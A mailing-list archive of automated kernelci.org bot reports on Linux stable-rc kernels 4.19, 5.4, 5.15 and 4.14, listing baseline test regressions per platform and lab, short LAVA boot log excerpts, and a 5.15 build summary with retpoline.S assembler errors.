2 years, 4 months
- 1
- 0
stable-rc/linux-4.19.y baseline: 55 runs, 6 regressions (v4.19.292-86-g29f196d64ede)
by kernelci.org bot
stable-rc/linux-4.19.y baseline: 55 runs, 6 regressions (v4.19.292-86-g29f196d64ede)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+-------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/job/stable-rc/branch/linux-4.19.y/kernel/v4.19.29…
Test: baseline
Tree: stable-rc
Branch: linux-4.19.y
Describe: v4.19.292-86-g29f196d64ede
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: 29f196d64edee575367dbe1930b34e98f1a985d3
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+-------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e406a22b21349c7fdc95ce
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e406a22b21349c7fdc95cf
failing since 469 days (last pass: v4.19.241-59-g7070c1b6eeed, first fail: v4.19.241-79-ge28b1117a7ab)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+-------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e404fe45f0ae1043dc962d
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e404fe45f0ae1043dc962e
failing since 468 days (last pass: v4.19.241-59-g7070c1b6eeed, first fail: v4.19.241-89-g71a9ee8b0cfd)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+-------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e405ee32c4ca9600dc95f1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e405ee32c4ca9600dc95f2
failing since 469 days (last pass: v4.19.241-59-g7070c1b6eeed, first fail: v4.19.241-79-ge28b1117a7ab)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+-------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e4048615d6dcd087dc95d1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e4048615d6dcd087dc95d2
failing since 468 days (last pass: v4.19.241-59-g7070c1b6eeed, first fail: v4.19.241-89-g71a9ee8b0cfd)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+-------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e4075665741f35e6dc95cd
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e4075665741f35e6dc95ce
failing since 469 days (last pass: v4.19.241-59-g7070c1b6eeed, first fail: v4.19.241-79-ge28b1117a7ab)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+-------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e406b67d56c06430dc95cf
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.19.y/v4.19.292-86-g29f196d6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e406b67d56c06430dc95d0
failing since 469 days (last pass: v4.19.241-59-g7070c1b6eeed, first fail: v4.19.241-79-ge28b1117a7ab)
2 years, 4 months
- 1
- 0
stable-rc/linux-5.4.y baseline: 95 runs, 12 regressions (v5.4.254-97-g4c1230ccede5d)
by kernelci.org bot
stable-rc/linux-5.4.y baseline: 95 runs, 12 regressions (v5.4.254-97-g4c1230ccede5d)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
hifive-unleashed-a00 | riscv | lab-baylibre | gcc-10 | defconfig | 1
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/job/stable-rc/branch/linux-5.4.y/kernel/v5.4.254-…
Test: baseline
Tree: stable-rc
Branch: linux-5.4.y
Describe: v5.4.254-97-g4c1230ccede5d
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: 4c1230ccede5dae2be2b32e5fc4e9ec3c75ce106
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3ee08c4bc8fc7e2dc95d8
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3ee08c4bc8fc7e2dc95dd
failing since 216 days (last pass: v5.4.226-68-g8c05f5e0777d, first fail: v5.4.228-659-gb3b34c474ec7)
2023-08-21T22:59:45.358383 <8>[ 9.858397] <LAVA_SIGNAL_ENDRUN 0_dmesg 3744704_1.5.2.4.1>
2023-08-21T22:59:45.464938 / # #
2023-08-21T22:59:45.566362 export SHELL=/bin/sh
2023-08-21T22:59:45.566721 #
2023-08-21T22:59:45.667868 / # export SHELL=/bin/sh. /lava-3744704/environment
2023-08-21T22:59:45.668239
2023-08-21T22:59:45.769420 / # . /lava-3744704/environment/lava-3744704/bin/lava-test-runner /lava-3744704/1
2023-08-21T22:59:45.769957
2023-08-21T22:59:45.775236 / # /lava-3744704/bin/lava-test-runner /lava-3744704/1
2023-08-21T22:59:45.860847 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hifive-unleashed-a00 | riscv | lab-baylibre | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3eba413893412e4dc95d2
Results: 3 PASS, 2 FAIL, 2 SKIP
Full config: defconfig
Compiler: gcc-10 (riscv64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.dmesg.crit: https://kernelci.org/test/case/id/64e3eba413893412e4dc95db
failing since 306 days (last pass: v5.4.219, first fail: v5.4.219-267-g4a976f825745)
3 lines
2023-08-21T22:55:51.388525 / #
2023-08-21T22:55:51.394596
2023-08-21T22:55:51.501435 / # #
2023-08-21T22:55:51.522664 #
2023-08-21T22:55:51.625757 / # export SHELL=/bin/sh
2023-08-21T22:55:51.634707 export SHELL=/bin/sh
2023-08-21T22:55:51.737231 / # . /lava-3744666/environment
2023-08-21T22:55:51.746291 . /lava-3744666/environment
2023-08-21T22:55:51.848582 / # /lava-3744666/bin/lava-test-runner /lava-3744666/0
2023-08-21T22:55:51.858823 /lava-3744666/bin/lava-test-runner /lava-3744666/0
... (10 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3ebc83ecbdff248dc95cc
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3ebc83ecbdff248dc95d1
failing since 144 days (last pass: v5.4.238, first fail: v5.4.238)
2023-08-21T22:56:59.798058 + <8>[ 9.905102] <LAVA_SIGNAL_ENDRUN 0_dmesg 11327581_1.4.2.3.1>
2023-08-21T22:56:59.798142 set +x
2023-08-21T22:56:59.899486
2023-08-21T22:57:00.000066 / # #export SHELL=/bin/sh
2023-08-21T22:57:00.000288
2023-08-21T22:57:00.100834 / # export SHELL=/bin/sh. /lava-11327581/environment
2023-08-21T22:57:00.101044
2023-08-21T22:57:00.201567 / # . /lava-11327581/environment/lava-11327581/bin/lava-test-runner /lava-11327581/1
2023-08-21T22:57:00.201929
2023-08-21T22:57:00.206415 / # /lava-11327581/bin/lava-test-runner /lava-11327581/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3ebd57a43d2353cdc95d0
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3ebd57a43d2353cdc95d5
failing since 144 days (last pass: v5.4.238, first fail: v5.4.238)
2023-08-21T22:58:10.858886 <8>[ 12.606261] <LAVA_SIGNAL_ENDRUN 0_dmesg 11327602_1.4.2.3.1>
2023-08-21T22:58:10.862724 + set +x
2023-08-21T22:58:10.964111
2023-08-21T22:58:11.064641 / # #export SHELL=/bin/sh
2023-08-21T22:58:11.064829
2023-08-21T22:58:11.165379 / # export SHELL=/bin/sh. /lava-11327602/environment
2023-08-21T22:58:11.165620
2023-08-21T22:58:11.266106 / # . /lava-11327602/environment/lava-11327602/bin/lava-test-runner /lava-11327602/1
2023-08-21T22:58:11.266391
2023-08-21T22:58:11.271626 / # /lava-11327602/bin/lava-test-runner /lava-11327602/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3fcb94b60ff928adc960c
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3fcb94b60ff928adc960d
failing since 363 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.210-390-g1cece69eaa88)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3fcc83728e877d7dc95db
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3fcc83728e877d7dc95dc
failing since 383 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.209)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3fcbc7b080c797edc9601
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3fcbc7b080c797edc9602
failing since 385 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.207-123-gb48a8f43dce6)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3fcbb7340e85e05dc95e1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3fcbb7340e85e05dc95e2
failing since 383 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.209)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3fcba07d1761104dc9630
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3fcba07d1761104dc9631
failing since 363 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.210-390-g1cece69eaa88)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3fcc920825004f6dc9626
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3fcc920825004f6dc9627
failing since 371 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.210-258-ge86027f8111f5)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/plan/id/64e3fcb8908f7b955cdc95cc
Results: 82 PASS, 2 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254-97-g4c1230cced…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.rockchip-usb2phy1-probed: https://kernelci.org/test/case/id/64e3fcb8908f7b955cdc95d2
failing since 160 days (last pass: v5.4.235, first fail: v5.4.235-4-gb829e8b6e1a7)
2023-08-21T23:03:34.338401 <8>[ 31.277896] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy0-probed RESULT=fail>
2023-08-21T23:03:35.351634 /lava-11327654/1/../bin/lava-test-case
* baseline.bootrr.rockchip-usb2phy0-probed: https://kernelci.org/test/case/id/64e3fcb9908f7b955cdc95d3
failing since 160 days (last pass: v5.4.235, first fail: v5.4.235-4-gb829e8b6e1a7)
2023-08-21T23:03:33.316518 <8>[ 30.255094] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy-driver-present RESULT=pass>
2023-08-21T23:03:34.329571 /lava-11327654/1/../bin/lava-test-case
2 years, 4 months
- 1
- 0
stable-rc/linux-5.15.y build: 20 builds: 2 failed, 18 passed, 6 errors, 3 warnings (v5.15.127-138-gfc9952e796d10)
by kernelci.org bot
stable-rc/linux-5.15.y build: 20 builds: 2 failed, 18 passed, 6 errors, 3 warnings (v5.15.127-138-gfc9952e796d10)
Full Build Summary: https://kernelci.org/build/stable-rc/branch/linux-5.15.y/kernel/v5.15.127-1…
Tree: stable-rc
Branch: linux-5.15.y
Git Describe: v5.15.127-138-gfc9952e796d10
Git Commit: fc9952e796d10f995ee74ab63b7f990fec0d8eca
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
Built: 7 unique architectures
Build Failures Detected:
x86_64:
x86_64_defconfig: (gcc-10) FAIL
x86_64_defconfig+x86-chromebook: (gcc-10) FAIL
Errors and Warnings Detected:
arc:
arm64:
arm:
i386:
mips:
32r2el_defconfig (gcc-10): 1 warning
riscv:
x86_64:
x86_64_defconfig (gcc-10): 3 errors, 1 warning
x86_64_defconfig+x86-chromebook (gcc-10): 3 errors, 1 warning
Errors summary:
2 arch/x86/lib/retpoline.S:260: Error: no such instruction: `annotate_noendbr'
2 arch/x86/lib/retpoline.S:246: Error: no such instruction: `annotate_noendbr'
2 arch/x86/lib/retpoline.S:125: Error: no such instruction: `annotate_noendbr'
Warnings summary:
2 arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x45: unreachable instruction
1 arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_sdcard_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
rv32_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — FAIL, 3 errors, 1 warning, 0 section mismatches
Errors:
arch/x86/lib/retpoline.S:125: Error: no such instruction: `annotate_noendbr'
arch/x86/lib/retpoline.S:246: Error: no such instruction: `annotate_noendbr'
arch/x86/lib/retpoline.S:260: Error: no such instruction: `annotate_noendbr'
Warnings:
arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x45: unreachable instruction
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — FAIL, 3 errors, 1 warning, 0 section mismatches
Errors:
arch/x86/lib/retpoline.S:125: Error: no such instruction: `annotate_noendbr'
arch/x86/lib/retpoline.S:246: Error: no such instruction: `annotate_noendbr'
arch/x86/lib/retpoline.S:260: Error: no such instruction: `annotate_noendbr'
Warnings:
arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x45: unreachable instruction
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
stable-rc/linux-4.14.y baseline: 91 runs, 16 regressions (v4.14.323-40-gd4d51e77b58d)
by kernelci.org bot
stable-rc/linux-4.14.y baseline: 91 runs, 16 regressions (v4.14.323-40-gd4d51e77b58d)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
jetson-tk1 | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/job/stable-rc/branch/linux-4.14.y/kernel/v4.14.32…
Test: baseline
Tree: stable-rc
Branch: linux-4.14.y
Describe: v4.14.323-40-gd4d51e77b58d
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: d4d51e77b58d0c75103d4df5558535d0059ef324
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
jetson-tk1 | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3e9249c52d883efdc95cc
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
